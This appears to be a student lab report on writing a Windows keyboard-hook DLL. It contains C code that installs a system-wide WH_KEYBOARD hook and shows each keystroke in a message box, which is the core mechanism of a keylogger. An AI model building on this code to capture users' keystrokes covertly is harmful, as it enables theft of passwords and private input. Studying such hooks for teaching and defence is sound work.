一、 实验要求
编写键盘钩子程序,实现记录用户按键

  1. 编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数
  2. 编写加载程序,实现启动时调用startHook,退出时调用stopHook

二、 源代码
#include “windows.h”
#include “stdio.h”

#define MYLIBAPI_DLL
#include “dll.h”

#pragma warning(disable:4996)

HINSTANCE hDll;
HHOOK hHook;

PCSTR GetKeyName(int nCode);
BOOL UnHook();
int RecordKey(LPARAM lParam);

BOOL APIENTRY DllMain(void * _HDllHandle,unsigned _Reason,void * _Reserved)
{
switch(_Reason)
{
case DLL_PROCESS_ATTACH:
hDll = (HINSTANCE)_HDllHandle;
break;
case DLL_PROCESS_DETACH:
hDll = NULL;
break;
default:
break;
}
return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wPara,LPARAM lPara)
{
if(nCode < 0)
{
return CallNextHookEx(hHook,nCode,wPara,lPara);
}
if(0==(UINT)lPara>>31)
{
RecordKey(lPara);
}
return CallNextHookEx(hHook,nCode,wPara,lPara);
}

MYLIBAPI BOOL StartHook()
{
hHook = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hDll,0);
if(!hHook)
{
return FALSE;
}
return TRUE;
}

MYLIBAPI BOOL UnHook()
{
UnhookWindowsHookEx(hHook);
return TRUE;
}

int RecordKey(LPARAM lParam)
{
TCHAR szKeyName[50];
GetKeyNameText((LONG)lParam, szKeyName, 50);
MessageBox(NULL, szKeyName, L"3170706006", MB_OK);
return 0;
}

三、 程序运行
工控安全系统对抗之键盘钩子
工控安全系统对抗之键盘钩子

四、总结
通过本次实验,我对编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数,编写加载程序,实现启动时调用startHook,退出时调用stopHook,有了一定的了解,希望以后可以进一步学习,应用到更广泛的领域。

相关文章:

  • 2022-02-26
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-07-18
  • 2022-12-23
猜你喜欢
  • 2022-12-23
  • 2021-10-22
  • 2021-09-09
  • 2021-06-02
  • 2021-11-24
  • 2021-07-28
相关资源
相似解决方案